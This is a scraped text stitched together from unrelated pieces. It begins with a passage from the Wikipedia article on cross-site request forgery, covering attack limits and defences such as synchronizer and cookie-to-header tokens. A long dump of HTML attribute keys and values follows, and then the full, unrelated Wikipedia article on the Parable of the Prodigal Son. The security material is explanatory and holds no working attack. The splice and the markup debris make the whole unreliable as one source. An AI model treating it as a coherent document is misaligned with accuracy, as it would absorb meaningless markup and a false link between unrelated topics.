Note that the attack is blind; i.e., the attacker can't see what the target website sends back to the victim in response to the forged requests, unless they exploit a cross-site scripting or other bug at the target website. Similarly, the attacker can only target any links or submit any forms that come up after the initial forged request if those subsequent links or forms are similarly predictable. (Multiple targets can be simulated by including multiple images on a page, or by using JavaScript to introduce a delay between clicks.)
Given these constraints, an attacker might have difficulty finding logged-in victims or attackable form submissions.[citation needed] On the other hand, attack attempts are easy to mount and invisible to victims, and application designers are less familiar with and prepared for CSRF attacks than they are for, say, password cracking dictionary attacks.
Prevention[edit]
Most CSRF prevention techniques work by embedding additional authentication data into requests that allows the web application to detect requests from unauthorized locations.
Synchronizer token pattern[edit]
Synchronizer token pattern (STP) is a technique where a token, secret and unique value for each request, is embedded by the web application in all HTML forms and verified on the server side. The token may be generated by any method that ensures unpredictability and uniqueness (e.g. using a hash chain of random seed). The attacker is thus unable to place a correct token in their requests to authenticate them.[1][20][21]
Example of STP set by Django in a HTML form:
<input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />
STP is the most compatible as it only relies on HTML, but introduces some complexity on the server side, due to the burden associated with checking validity of the token on each request. As the token is unique and unpredictable, it also enforces proper sequence of events (e.g. screen 1, then 2, then 3) which raises usability problem (e.g. user opens multiple tabs). It can be relaxed by using per session CSRF token instead of per request CSRF token.
Cookie-to-header token[edit]
Web applications that use JavaScript for the majority of their operations may use an anti-CSRF technique that relies on same-origin policy:
On login, the web application sets a cookie containing a random token that remains the same for the whole user session
Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/

JavaScript operating on the client side reads its value and copies it into a custom HTTP header sent with each transactional request
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql

The server validates presence and integrity of the token
Security of this technique is based on the assumption that only JavaScript running within the same origin will be able to read the cookie's value. JavaScript running from a rogue file or email will not be able to read it and copy into the custom header. Even though the csrf-token cookie will be automatically sent with the rogue request, the server will be still expecting a valid X-Csrf-Token header.
The CSRF token itself should be unique and unpredictable. It may be generated randomly, or it may be derived from the session token using HMAC:
csrf_token = HMAC(session_token, application_secret)

The CSRF token cookie must not have httpOnly flag, as it is intended to be read by the JavaScript by design.
This technique is implemented by many modern frameworks, such as Django[22] and AngularJS.[23] Because the token remains constant over the whole user session, it works well with AJAX applications, but does not enforce sequence of events in the web application.
The protection provided by this technique can be thwarted if the target website disables its same-origin policy using one of the following techniques:
Permissive Access-Control-Allow-Origin Cross-origin resource sharing header (with asterisk argument)
clientaccesspolicy.xml file granting unintended access to Silverlight controls[24]
crossdomain.xml file granting unintended access to Flash movies[25]
Client-side safeguards[edit]
Browser extensions such as RequestPolicy (for Mozilla Firefox) or uMatrix (for both Firefox and Google Chrome/Chromium) can prevent CSRF by providing a default-deny policy for cross-site requests. However, this can significantly interfere with the normal operation of many websites. The CsFire extension (also for Firefox) can mitigate the impact of CSRF with less impact on normal browsing, by removing authentication information from cross-site requests.
The NoScript extension for Firefox mitigates CSRF threats by distinguishing trusted from untrusted sites, and removing authentication & payloads from POST requests sent by untrusted sites to trusted ones. The Application Boundary Enforcer module in NoScript also blocks requests sent from internet pages to local sites (e.g. localhost), preventing CSRF attacks on local services (such as uTorrent) or routers.
The Self Destructing Cookies extension for Firefox does not directly protect from CSRF, but can reduce the attack window, by deleting cookies as soon as they are no longer associated with an open tab.
Other techniques[edit]
Various other techniques have been used or proposed for CSRF prevention historically:
Verifying that the request's headers contain X-Requested-With (used by Ruby on Rails before v2.0 and Django before v1.2.5), or checking the HTTP Referer header and/or HTTP Origin header.[26] However, this is insecure – a combination of browser plugins and redirects can allow an attacker to provide custom HTTP headers on a request to any website, hence allowing a forged request.[27][28]
Checking the HTTP Referer header to see if the request is coming from an authorized page is commonly used for embedded network devices because it does not increase memory requirements. However, a request that omits the Referer header must be treated as unauthorized because an attacker can suppress the Referer header by issuing requests from FTP or HTTPS URLs. This strict Referer validation may cause issues with browsers or proxies that omit the Referer header for privacy reasons. Also, old versions of Flash (before 9.0.18) allow malicious Flash to generate GET or POST requests with arbitrary HTTP request headers using CRLF Injection.[29] Similar CRLF injection vulnerabilities in a client can be used to spoof the referrer of an HTTP request.
POST request method was for a while perceived as immune to trivial CSRF attacks using parameters in URL (using GET method). However, both POST and any other HTTP method can be now easily executed using XMLHttpRequest. Filtering out unexpected GET requests still prevents some particular attacks, such as cross-site attacks using malicious image URLs or link addresses and cross-site information leakage through <script> elements (JavaScript hijacking); it also prevents (non-security-related) problems with aggressive web crawlers and link prefetching.[1]
Cross-site scripting (XSS) vulnerabilities (even in other applications running on the same domain) allow attackers to bypass essentially all CSRF preventions.[30]
See also[edit]
BREACH (security exploit)
Confused deputy problem
CRIME (security exploit)
Cross-document messaging
Heap spraying
Replay attack
Session fixation
Web application security
References[edit]
^ Jump up to: a b c d Shiflett, Chris (December 13, 2004). "Security Corner: Cross-Site Request Forgeries". php|architect (via shiflett.org). Retrieved 2008-07-03.
^ Jump up to: a b Ristic, Ivan (2005). Apache Security. O'Reilly Media. p. 280. ISBN 0-596-00724-8.
Jump up ^ Burns, Jesse (2005). "Cross Site Request Forgery: An Introduction To A Common Web Weakness" (PDF). Information Security Partners, LLC. Retrieved 2011-12-12.
Jump up ^ Christey, Steve; Martin, Robert A. (May 22, 2007). "Vulnerability Type Distributions in CVE (version 1.1)". MITRE Corporation. Retrieved 2008-06-07.
Jump up ^ Washkuch Jr., Frank (October 17, 2006). "Netflix fixes cross-site request forgery hole". SC Magazine. Retrieved 2016-10-29.
^ Jump up to: a b William Zeller; Edward W. Felten (October 2008). "Cross-Site Request Forgeries: Exploitation and Prevention" (PDF). Retrieved 29 May 2015.
Jump up ^ Mike, Bailey (2009). "CSRF: Yeah, It Still Works…" (PDF). DEFCON.
Jump up ^ "Cross Site Request Forgery protection | Django documentation | Django". docs.djangoproject.com. Retrieved 2015-08-21.
Jump up ^ Adam Barth, Collin Jackson, and John C. Mitchell, Robust Defenses for Cross-Site Request Forgery, Proceedings of the 15th ACM Conference on Computer and Communications Security, ACM 2008
Jump up ^ Joseph Foulds, Passive monitoring login request forgery, Yahoo Archived 2014-12-22 at the Wayback Machine.
Jump up ^ "Cross-Site Request Forgery For POST Requests With An XML Body". pentestmonkey. Retrieved September 4, 2015.
Jump up ^ Sheeraj Shah (2008). "Web 2.0 Hacking Defending Ajax & Web Services" (PDF). HITB. Retrieved September 4, 2015.
Jump up ^ "Security Fix - Weaponizing Web 2.0".
Jump up ^ Dynamic CSRF Archived 2010-02-13 at the Wayback Machine.
Jump up ^ Owasp.org: Israel 2012/01: AJAX Hammer – Harnessing AJAX for CSRF Attacks
Jump up ^ Downloads – hasc-research – hasc-research – Google Project Hosting. Code.google.com (2013-06-17). Retrieved on 2014-04-12.
Jump up ^ "Vulnerability Notes".
Jump up ^ "Vulnerability Note VU#584089 - cPanel XSRF vulnerabilities".
Jump up ^ "Vulnerability Note VU#264385 - OpenCA allows Cross site request forgery (XSRF)".
Jump up ^ "Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet". OWASP. Retrieved 2014-07-24.
Jump up ^ "Valhalla Articles - Cross-Site Request Forgery: Demystified".
Jump up ^ "Cross Site Request Forgery protection". Django. Retrieved 2015-01-20.
Jump up ^ "Cross Site Request Forgery (XSRF) Protection". AngularJS. Retrieved 2015-01-20.
Jump up ^ "Making a Service Available Across Domain Boundaries".
Jump up ^ Adamski, Lucas. "Cross-domain policy file usage recommendations for Flash Player - Adobe Developer Connection".
Jump up ^ Origin Header Proposal. People.mozilla.org. Retrieved on 2013-07-29.
Jump up ^ "Django 1.2.5 release notes". Django.
Jump up ^ "Cross-Site Request Forgery (CSRF)". OWASP, The Open Web Application Security Project. 4 September 2012. Retrieved 11 September 2012.
Jump up ^ "Secunia Advisory SA22467". Secunia. 19 October 2006. Retrieved 11 September 2012.
Jump up ^ Schneider, Christian. "CSRF and same-origin XSS".
External links[edit]
A Most-Neglected Fact About Cross Site Request Forgery
The Cross-Site Request Forgery FAQ
Cross-Site Request Forgery from The Web Application Security Consortium Threat Classification Project
Retrieved from "https://en.wikipedia.org/w/index.php?title=Cross-site_request_forgery&oldid=829638609"
Categories:
Web security exploits
Hidden categories:
Webarchive template wayback links
All articles with unsourced statements
Articles with unsourced statements from November 2014
Articles with unsourced statements from March 2015
Pages using RFC magic links
Navigation menu
Personal tools
Not logged in
Talk
Contributions
Create account
Log in
Namespaces
Article
Talk
Variants
Views
Read
Edit
View history
More
Search
Navigation
Main page
Contents
Featured content
Current events
Random article
Donate to Wikipedia
Wikipedia store
Interaction
Help
About Wikipedia
Community portal
Recent changes
Contact page
Tools
What links here
Related changes
Upload file
Special pages
Permanent link
Page information
Wikidata item
Cite this page
Print/export
Create a book
Download as PDF
Printable version
Languages
العربية
Čeština
Deutsch
Español
فارسی
Français
한국어
Italiano
עברית
Magyar
日本語
Norsk
Polski
Português
Русский
Türkçe
Українська
中文
9 more
Edit links
This page was last edited on 9 March 2018, at 21:20.
Text is available under the Creative Commons Attribution-ShareAlike License; additional terms may apply. By using this site, you agree to the Terms of Use and Privacy Policy. Wikipedia® is a registered trademark of the Wikimedia Foundation, Inc., a non-profit organization.
Privacy policy
About Wikipedia
Disclaimers
Contact Wikipedia
Developers
Cookie statement
Mobile view
Enable previews

key: html

type: local

value: div

attrs: id class

values: mw-page-base noprint

values: mw-head-base noprint

value: a

attrs: id class lang

values: firstHeading firstHeading en

values: siteSub noprint

values: jump-to-nav mw-jump

value: b

value: i

value: sup

attrs: href class title

values:
/wiki/Exploit_(computer_science)
mw-redirect
Exploit (computer science)

attrs: href title

value: p

values:
/wiki/McAfee_Secure
mw-redirect
McAfee Secure

values: Edit section: Example and characteristics

attrs: alt src width height class srcset data-file-width data-file-height

values:
/wiki/Confused_Deputy
mw-redirect
Confused Deputy

values:
/wiki/GET_request
mw-redirect
GET request

values:
external mw-magiclink-rfc
nofollow
https://tools.ietf.org/html/rfc2616

values:
/wiki/Remote_code_execution
mw-redirect
Remote code execution

values:
/wiki/Root_privileges
mw-redirect
Root privileges

values:
/wiki/HTTP_referrer
mw-redirect
HTTP referrer

values: This claim needs references to reliable sources. (November 2014)

values:
noprint Inline-Template Template-Fact
white-space:nowrap;

values: This claim needs references to reliable sources. (March 2015)

values: Edit section: Synchronizer token pattern

values:
/wiki/HTTP_header
mw-redirect
HTTP header

values:
/wiki/Session_cookie
mw-redirect
Session cookie

values:
/wiki/Mozilla_Firefox
mw-redirect
Mozilla Firefox

values:
/wiki/Request_method
mw-redirect
Request method

values:
/wiki/BREACH_(security_exploit)
mw-redirect
BREACH (security exploit)

values:
/wiki/CRIME_(security_exploit)
mw-redirect
CRIME (security exploit)

values:
/wiki/Cross-document_messaging
mw-redirect
Cross-document messaging

values:
nofollow
external text
http://www.kb.cert.org/vuls/id/584089

values:
nofollow
external text
http://www.kb.cert.org/vuls/id/264385

values:
nofollow
https://secunia.com/advisories/22467/
external text

values: -moz-column-width: 30em; -webkit-column-width: 30em; column-width: 30em; list-style-type: decimal;

values: Category:Webarchive template wayback links

values: Category:All articles with unsourced statements

values: Category:Articles with unsourced statements from November 2014

values: Category:Articles with unsourced statements from March 2015

values: Discussion about edits from this IP address [ctrl-alt-n]

values: A list of edits made from this IP address [ctrl-alt-y]

values: You are encouraged to create an account and log in; however, it is not mandatory

values: You're encouraged to log in; however, it's not mandatory. [ctrl-alt-o]

values:
/wiki/Cross-site_request_forgery
View the content page [ctrl-alt-c]
c

values: Discussion about the content page [ctrl-alt-t]

values: p-namespaces navigation vectorTabs p-namespaces-label

values:
p-variants
navigation
vectorMenu emptyPortlet
p-variants-label

values: Past revisions of this page [ctrl-alt-h]

values: p-views navigation vectorTabs p-views-label

values:
p-cactions
navigation
vectorMenu emptyPortlet
p-cactions-label

values:
mw-wiki-logo
/wiki/Main_Page
Visit the main page

values:
/wiki/Main_Page
Visit the main page [ctrl-alt-z]
z

values: Featured content – the best of Wikipedia

values: Find background information on current events

values:
/wiki/Special:Random
Load a random article [ctrl-alt-x]
x

values: portal navigation p-navigation p-navigation-label

values: Guidance on how to use and edit Wikipedia

values: About the project, what you can do, where to find things

values: A list of recent changes in the wiki [ctrl-alt-r]

values: portal navigation p-interaction p-interaction-label

values: List of all English Wikipedia pages containing links to this page [ctrl-alt-j]

values: Recent changes in pages linked from this page [ctrl-alt-k]

values:
/wiki/Wikipedia:File_Upload_Wizard
Upload files [ctrl-alt-u]
u

values: A list of all special pages [ctrl-alt-q]

values: Permanent link to this revision of the page

values: Link to connected data repository item [ctrl-alt-g]

values: Printable version of this page [ctrl-alt-p]

values: تزوير الطلب عبر المواقع – Arabic

values:
interlanguage-link interwiki-cs
display: none;

values: جعل درخواست میان‌وب‌گاهی – Persian

values:
interlanguage-link interwiki-fa
display: none;

values: 사이트 간 요청 위조 – Korean

values:
interlanguage-link interwiki-it
display: none;

values:
https://he.wikipedia.org/wiki/CSRF
CSRF – Hebrew
he
he
interlanguage-link-target

values:
interlanguage-link interwiki-he
display: none;

values: クロスサイトリクエストフォージェリ – Japanese

values:
interlanguage-link interwiki-no
display: none;

values:
interlanguage-link interwiki-pl
display: none;

values: Межсайтовая подделка запроса – Russian

values:
https://tr.wikipedia.org/wiki/XSRF
XSRF – Turkish
tr
tr
interlanguage-link-target

values:
interlanguage-link interwiki-tr
display: none;

values: Міжсайтова підробка запиту – Ukrainian

values: 跨站请求伪造 – Chinese

values: mediawiki ltr sitedir-ltr mw-hide-empty-elt ns-0 ns-subject page-Cross-site_request_forgery rootpage-Cross-site_request_forgery skin-vector action-view


text:
Parable of the Prodigal Son
From Wikipedia, the free encyclopedia
Jump to: navigation, search
"Prodigal son" redirects here. For other uses, see The Prodigal Son (disambiguation).
"The Return of the Prodigal Son" redirects here. For the painting by Rembrandt, see The Return of the Prodigal Son (Rembrandt). For Egyptian film by Youssef Chahine, see The Return of the Prodigal Son (film).
The Return of the Prodigal Son (1773) by Pompeo Batoni
The Parable of the Prodigal Son (also known as the Two Brothers, Lost Son, Loving Father, or Lovesick Father)[1][2] is one of the parables of Jesus and appears in Luke 15:11–32. Jesus Christ shares it with his disciples, the Pharisees and others.
In the story, a father has two sons. The younger son asks for his inheritance and, after wasting his fortune (the word prodigal means "wastefully extravagant"), becomes destitute. He returns home with the intention of begging his father to be made one of his hired servants, expecting his relationship with his father is likely severed.
The father welcomes him back and celebrates his return. The older son refuses to participate. The father reminds the older son that one day he will inherit everything, and that they should still celebrate the return of the younger son because he was lost and is now found.
It is the third and final part of a cycle on redemption, following the Parable of the Lost Sheep and the Parable of the Lost Coin. In Revised Common Lectionary and Latin Rite Catholic Lectionary, this parable is read on the fourth Sunday of Lent (in Year C);[3] in the latter it is also included in the long form of the Gospel on the 24th Sunday of Ordinary Time in Year C, along with the preceding two parables of the cycle.[4] In the Eastern Orthodox Church it is read on the Sunday of the Prodigal Son.
Contents
[hide]
1 Narrative
2 Context and interpretation
3 Commemoration and use
3.1 Orthodox
3.2 Catholic
4 In the arts
4.1 Art
4.2 Stage
4.3 Popular music
4.4 Literature
5 Similar parable in Mahayana Buddhism
6 See also
7 References
8 Further reading
9 External links
Narrative[edit]
James Tissot – The Return of the Prodigal Son (Le retour de l'enfant prodigue) – Brooklyn Museum
The parable begins with a young man, the younger of two sons, who asks his father to give him his share of the estate. The implication is the son could not wait for his father's death for his inheritance, he wanted it immediately. The father agrees and divides his estate between both sons.
Upon receiving his portion of the inheritance, the younger son travels to a distant country and wastes all his money in extravagant living. Immediately thereafter, a famine strikes the land; he becomes desperately poor and is forced to take work as a swineherd. (This, too, would have been abhorrent to Jesus' Jewish audience, who considered swine unclean animals.) When he reaches the point of envying the food of the pigs he is watching, he finally comes to his senses:
But when he came to himself he said, "How many hired servants of my father's have bread enough to spare, and I'm dying with hunger! I will get up and go to my father, and will tell him, 'Father, I have sinned against heaven, and in your sight. I am no more worthy to be called your son. Make me as one of your hired servants.'" He arose, and came to his father. But while he was still far off, his father saw him, and was moved with compassion, and ran towards him, and fell on his neck, and kissed him.
—  Luke 15:17–20, World English Bible
This implies the father was hopefully watching for the son's return.
The son does not even have time to finish his rehearsed speech, since the father calls for his servants to dress him in a fine robe, a ring, and sandals, and slaughter the "fattened calf" for a celebratory meal.
The older son, who was at work in the fields, hears the sound of celebration, and is told about the return of his younger brother. He is not impressed, and becomes angry. He also has a speech for his father:
But he answered his father, "Behold, these many years I have served you, and I never disobeyed a commandment of yours, but you never gave me a goat, that I might celebrate with my friends. But when this, your son, came, who has devoured your living with prostitutes, you killed the fattened calf for him."
—  Luke 15:29–30, World English Bible
The parable concludes with the father explaining that because the younger son had returned, in a sense, from the dead, celebration was necessary:
"But it was appropriate to celebrate and be glad, for this, your brother, was dead, and is alive again. He was lost, and is found."
—  Luke 15:32, World English Bible
Context and interpretation[edit]
Engraving of the Prodigal Son as a swineherd by Hans Sebald Beham, 1538.
This is the last of three parables about loss and redemption, following the parable of the Lost Sheep and the parable of the Lost Coin, that Jesus tells after the Pharisees and religious leaders accuse him of welcoming and eating with "sinners."[5] The father's joy described in the parable reflects divine love,[5] the "boundless mercy of God",[6] and "God's refusal to limit the measure of his grace."[5]
The request of the younger son for his share of the inheritance is "brash, even insolent"[7] and "tantamount to wishing that the father was dead."[7] His actions do not lead to success, and he eventually becomes an indentured servant, with the degrading job of looking after pigs, and even envying them for the carob pods they eat.[7]
On the son's return, the father treats him with a generosity far more than he has a right to expect.[7]
The older son, in contrast, seems to think in terms of "law, merit, and reward",[7] rather than "love and graciousness."[7] He may represent the Pharisees who were criticizing Jesus.[7]
The father, who represents the Heavenly Father, implies to the older son that his love for both sons is not dependent upon their perfection, but their willingness to return to Him with a broken heart and a contrite spirit.
Commemoration and use[edit]
Stained glass window based on the parable, Charleston, South Carolina.
Orthodox[edit]
The Eastern Orthodox Church traditionally reads this story on the Sunday of the Prodigal Son,[8] which in their liturgical year is the Sunday before Meatfare Sunday and about two weeks before the beginning of Great Lent. One common kontakion hymn of the occasion reads,
I have recklessly forgotten Your glory, O Father;
And among sinners I have scattered the riches which You gave to me.
And now I cry to You as the Prodigal:
I have sinned before You, O merciful Father;
Receive me as a penitent and make me as one of Your hired servants.
Catholic[edit]
In his 1984 apostolic exhortation titled Reconciliatio et paenitentia (Latin for Reconciliation and Penance), Pope John Paul II used this parable to explain the process of conversion and reconciliation. Emphasizing that God the Father is "rich in mercy" and always ready to forgive, he stated that reconciliation is a gift on his part. He stated that for the Church her "mission of reconciliation is the initiative, full of compassionate love and mercy, of that God who is love."[9][10] He also explored the issues raised by this parable in his second encyclical, Dives in misericordia (Latin for Rich in Mercy), issued in 1980.[11]
In the arts[edit]
Rembrandt, The Return of the Prodigal Son, 1662–1669 (Hermitage Museum, St Petersburg)
Gerard van Honthorst, 1623, like many works of the period, allows a genre scene with moral content.
The Polish Rider; possibly the prodigal son. The subject is of much discussion.
Art[edit]
Of the thirty or so parables in the canonical Gospels, this was one of the four that were shown in medieval art almost to the exclusion of the others, but not mixed in with the narrative scenes of the Life of Christ (the others were the Wise and Foolish Virgins, Dives and Lazarus, and the Good Samaritan.[12] The Labourers in the Vineyard also appears in Early Medieval works).
From the Renaissance the numbers shown widened slightly, and the various scenes – the high living, herding the pigs, and the return – of the Prodigal Son became the clear favourite. Albrecht Dürer made a famous engraving of the Prodigal Son amongst the pigs (1496), a popular subject in the Northern Renaissance. Rembrandt depicted several scenes from the parable, especially the final episode, which he etched, drew, or painted on several occasions during his career.[13] At least one of his works, The Prodigal Son in the Tavern, a portrait of himself as the Son, revelling with his wife, is like many artists' depictions, a way of dignifying a genre tavern scene – if the title was indeed the original intention of the artist. His late Return of the Prodigal Son (1662–1669, Hermitage Museum, St Petersburg) is one of his most popular works.
Stage[edit]
In the fifteenth and sixteenth centuries the theme was a sufficiently popular subject that the Prodigal Son Play can be seen as a subgenre of the English morality play. Examples include The Rare Triumphs of Love and Fortune, The Disobedient Child, and Acolastus.[14]
Notable adaptations for performance include an 1869 oratorio by Arthur Sullivan, an 1884 cantata by Claude Debussy, a 1929 ballet choreographed by George Balanchine to music written by Sergei Prokofiev, a 1957 ballet by Hugo Alfvén,[15] and an opera, The Prodigal Son by Benjamin Britten (1968).
Many of these adaptations added to the Biblical material to lengthen the story; for example, the 1955 film The Prodigal took considerable liberties, such as adding a temptress priestess of Astarte to the tale.[16]
Popular music[edit]
The parable is referenced in the last verse of the traditional Irish folk tune "The Wild Rover" ("I'll go home to me parents, confess what I've done / and I'll ask them to pardon their prodigal son").
Oblique adaptations include that by the Reverend Robert Wilkins, who told the story of this parable in the song "Prodigal Son", which is probably best known as a cover version by the Rolling Stones on their 1968 album Beggar's Banquet. "Prodigal Man" was written by Ted Nugent and is the second track of the third album "Migration" by The Amboy Dukes and was released in 1969. The British heavy metal band Iron Maiden recorded a song titled "Prodigal Son", based on the parable of the same name, which appeared on their second release, Killers, in 1981. U2 recorded a song titled "The First Time" on their 1993 album Zooropa. While based on the parable, it presents the idea of an alternate ending to the story. It could be argued that Kelly Willard's 1982 song, Make Me A Servant is based on what the son said to his father when he returned home. The Prodigal Son is the first posthumous release by piano player and gospel singer Keith Green (1983).
Detroit musician, Kid Rock, also recorded a song titled "Prodigal Son", which appeared on his second album The Polyfuze Method, in 1993. Kid Rock later re-recorded the track for his 2000 album The History of Rock. The Christian Rock trio BarlowGirl recorded the song "She Walked Away", influenced by the parable,[17] as part of their 2004 self-titled album. "Indie" rock band Two Gallants covered the parable in the song "The Prodigal Son" on their 2006 album What the Toll Tells. Musician Dustin Kensrue wrote a song about the Prodigal Son entitled "Please Come Home" on the album of the same name released in 2007.[18] Rock band Sevendust has a track titled "Prodigal Son" on their 2008 album, Chapter VII: Hope and Sorrow. The band Bad Religion has a song of the same title on their album New Maps of Hell. The band Extreme recorded a song titled "Who Cares?", which appeared on the album III Sides to Every Story, which is influenced by this parable. Brantley Gilbert released a song called "Modern Day Prodigal Son". British Reggae band Steel Pulse recorded a song titled "Prodigal Son" on their debut album Handsworth Revolution, recreating the Biblical story as a Rastafarian parable. The Post-Hardcore band "Gideon" released a song called "Prodigal Son", which appeared on their second album Milestone. Christian rock outfit The Chinese Express opened and closed their 2006 release with a two part telling of the parable with songs titled "Said the son to the Father" and "Said the Father to the Son". Post-hardcore band "Jamie's Elsewhere" also released a song titled "Prodigal Son". The Irish rap group House of Pain references the parable in one of the verses of their song, "Jump Around". English indie rock band alt-J references the parable in the first verse of their song "Left Hand Free". On their 2015 album Something Different, the Christian band Sidewalk Prophets included an uplifting song titled "Prodigal" with lyrics that are directed towards the Prodigal Son from the parable, or any person who is or has felt like they are in a similar situation.
In 2006 Country artist Dierks Bentley wrote a song for his album "Long Trip Alone" entitled "The Prodigal Son's Prayer" The song is based on the son's prospective of coming home after he's ruined himself in the world. Gospel artists Tribute Quartet released When the Prodigal Comes Home in 2016.
Literature[edit]
The Return of the Prodigal Son (Leonello Spada, Louvre, Paris)
Another literary tribute to this parable is Dutch theologian Henri Nouwen's 1992 book, The Return of the Prodigal Son: A Story of Homecoming, in which he describes his own spiritual journey infused with understanding based on an encounter with Rembrandt's painting of the return of the Prodigal and deals with three personages: the younger, prodigal son; the self-righteous, resentful older son; and the compassionate father – all of whom the author identifies with personally.[19] An earlier work with similarities to the parable is "Le retour de l'enfant prodigue" ("The Return of the Prodigal Son"), a short story by André Gide.[20]
Rudyard Kipling wrote a poem[21] giving an interpretation of the younger brother's perspective.[22]
The Parable of the Prodigal Son is also a recurring theme in the works of Rainer Maria Rilke, who interpreted the parable in a different way to the conventional reading. His version of the parable was not so concerned with redemption and the forgiveness of family; the love of the family, and human love in general, was seen as less worthy than unreciprocated love, which is the purest form of love. In loving the family less, the Son can love God more, even if this love is not returned.[23][24]
The theme of the Prodigal Son plays a major role in Anne Tyler's novel A Spool of Blue Thread.[25]
The Prodigal Son was also referred to in the play The Merchant Of Venice as well as As You Like It, pastoral comedies by William Shakespeare. The Prodigal Son is also mentioned in Shakespeare's romance, The Winter's Tale (Act 4, Scene 4 line 89).
Similar parable in Mahayana Buddhism[edit]
A similar parable of a lost son can also be found in the Mahayana Buddhist Lotus Sutra.[26][27] The two parables are so similar in their outline and many details that several scholars have assumed that one version has influenced the other or that both texts share a common origin.[28] However, an influence of the biblical story on the Lotus sutra is regarded as unlikely given the early dating of the stratum of the sutra containing the Buddhist parable.[28] In spite of their similarities, both parables continue differently after the two meet for the first time at the son's return. In the biblical story, there is an immediate reunion of the two. In contrast, in the Lotus sutra, the poor son does not recognize the rich man as his father. When the father sends out some attendants to welcome the son, the son panics, fearing some kind of retribution. The father then lets the son leave without telling him of their kinship. However, he gradually draws the son closer to him by employing him in successively higher positions, only to tell him of their kinship in the end.[26] In the Buddhist parable, the father symbolises the Buddha, and the son symbolises any human being. Their kinship symbolises that any being has Buddha nature. The concealment of the kinship of the father to his son is regarded as a skillful means (Sanskrit:upāya).[29]
See also[edit]
Ministry of Jesus
References[edit]
Jump up ^ BibleGateway. 2016. Luke 15:11–32 The Parable of the Lost Son - Jesus.
Jump up ^ BibleGateway. 2016. Parable of the Forgiving Father (15:11-32) - The IVP New Testament Commentary Series
Jump up ^ "Lent 4C". TextWeek.com. Retrieved 2013-09-12.
Jump up ^ "Proper 19 (24th Sunday of Ordinary Time)". TextWeek.com. Retrieved 2016-09-11.
^ Jump up to: a b c Richard N. Longenecker, The Challenge of Jesus' Parables, Eerdmans, 2000, ISBN 0-8028-4638-6, pp. 201–213.
Jump up ^ Scott Hahn, Curtis Mitch, and Dennis Walters, Gospel of Luke: The Ignatius Study Guide, 2nd ed, Ignatius Press, 2001, ISBN 0-89870-819-2, p. 51.
^ Jump up to: a b c d e f g Arland J. Hultgren, The Parables of Jesus: A Commentary, Eerdmans Publishing, 2002, ISBN 0-8028-6077-X, pp. 70–82.
Jump up ^ "Scripture Readings Throughout the Year". Retrieved 2008-11-09.
Jump up ^ The post-synodal apostolic exhortations of John Paul II by Catholic Church 1998 ISBN 0-87973-928-2 pages 234–239
Jump up ^ "Vatican website ''Reconciliatio et paenitentia''". Vatican.va. Retrieved 2013-10-18.
Jump up ^ "Vatican website ''Dives in misericordia''". Vatican. Retrieved 2013-10-18.
Jump up ^ Emile Mâle, The Gothic Image: Religious Art in France of the Thirteenth Century, p 195, English translation of 3rd ed, 1913, Collins, London (and many other editions), ISBN 978-0064300322
Jump up ^ Roland E. Fleischer and Susan C. Scott, Rembrandt, Rubens, and the art of their time: recent perspectives, Pennsylvania State University Press, 1997, ISBN 0-915773-10-4, pp. 64-65.
Jump up ^ Craig, Hardin (April 1950). "Morality Plays and Elizabethan Drama". Shakespeare Quarterly. 1 (2): 71. doi:10.2307/2866678. ISSN 0037-3222.
Jump up ^ Don Michael Randel, The Harvard Biographical Dictionary of Music, Harvard University Press, 1996, ISBN 0-674-37299-9, pp. 13-14,
Jump up ^ Paul Hammond, The shadow and its shadow: surrealist writings on the cinema, 3rd ed, City Lights Books, 2000, ISBN 0-87286-376-X, p. 70.
Jump up ^ BarlowGirl by BarlowGirl CD review at NewReleaseTuesday.com
Jump up ^ Dustin Kensrue at YouthMinistry.com
Jump up ^ Deirdre LaNoue, The Spiritual Legacy of Henri Nouwen, Continuum, 2000, ISBN 0-8264-1283-1, p. 45.
Jump up ^ Turnell, Martin. "André Gide and the Disintegration of the Protestant Cell". Yale French Studies. Yale University Press (7): 21–31.
Jump up ^ "The Prodigal Son". Famouspoetsandpoems.com. Retrieved 2013-10-18.
Jump up ^ Andrew Keith Malcolm Adam, Postmodern Interpretations of the Bible: A reader, Chalice Press, 2001, ISBN 0-8272-2970-4, pp. 202–203.
Jump up ^ Books.google.co.uk. Books.google.co.uk. Retrieved 2013-10-18.
Jump up ^ Books.google.co.uk. Books.google.co.uk. Retrieved 2013-10-18.
Jump up ^ Sinkler, Rebecca Pepper (February 13, 2015). "Sunday Book Review: 'A Spool of Blue Thread' by Anne Tyler". The New York Times. Retrieved October 5, 2015.
^ Jump up to: a b Lotus Sutra, Chapter 4, translated By H. Kern
Jump up ^ Suzuki, Takayasu (2015). Two parables on "The wealthy father and the poor son" in the Saddharmapundarika and the Mahaberisutra, Journal of Indian and Budddhist Studies 63 (3), 169-176
^ Jump up to: a b Lai, Whalen W. "The Buddhist Prodigal Son': A Story of Misperceptions". Journal of the International Association of Buddhist Studies 4.2 (1981), p. 91
Jump up ^ Nhất Hạnh, Thích (2003). Opening the Heart of the Cosmos. Parallax Press. pp. 37–41. ISBN 9781888375336.
Further reading[edit]
Wiggins, James, 2010. What Did Jesus Teach? A Detailed Survey of His Parables ISBN 978-1477699065
David A. Holgate, Prodigality, liberality and meanness in the parable of the prodigal son: a Greco-Roman perspective on Luke 15.11-32, Continuum, 1999, ISBN 1-84127-025-3.
Father Raniero Cantalamessa, Pontifical Household preacher, "Comments on Fourth Sunday of Lent Readings", Zenit News Agency, March 17, 2007.
Rev. George Dimopoulos, "The Prodigal Son", Orthodoxy and the world, February 24, 2008.
G. Campbell Morgan, The Parable of the Father's Heart.
E. Di Rocco (a cura di), Il romanzo della misericordia. La parabola del figliol prodigo nella letteratura in Studium, 4 (2013), nº 109
E. Di Rocco, Leggere le Scritture con le Scritture: Ugo di Santo Caro e Nicola di Lira lettori di Luca (15, 11-32), in Studium, 4 (2013), nº 109.
E. Di Rocco (a cura di), Il romanzo della misericordia. La parabola di Luca nella letteratura moderna e contemporanea. in Studium, 2 (2014), nº 110.
E. Di Rocco, Heimkehr: wohin?, Auszug: wohin?: la parabola esistenziale del figliol prodigo nella letteratura del Novecento. in Studium, 2 (2014), nº 110.
External links[edit]
Brooks, David. "The Prodigal Sons", The New York Times, February 17, 2014
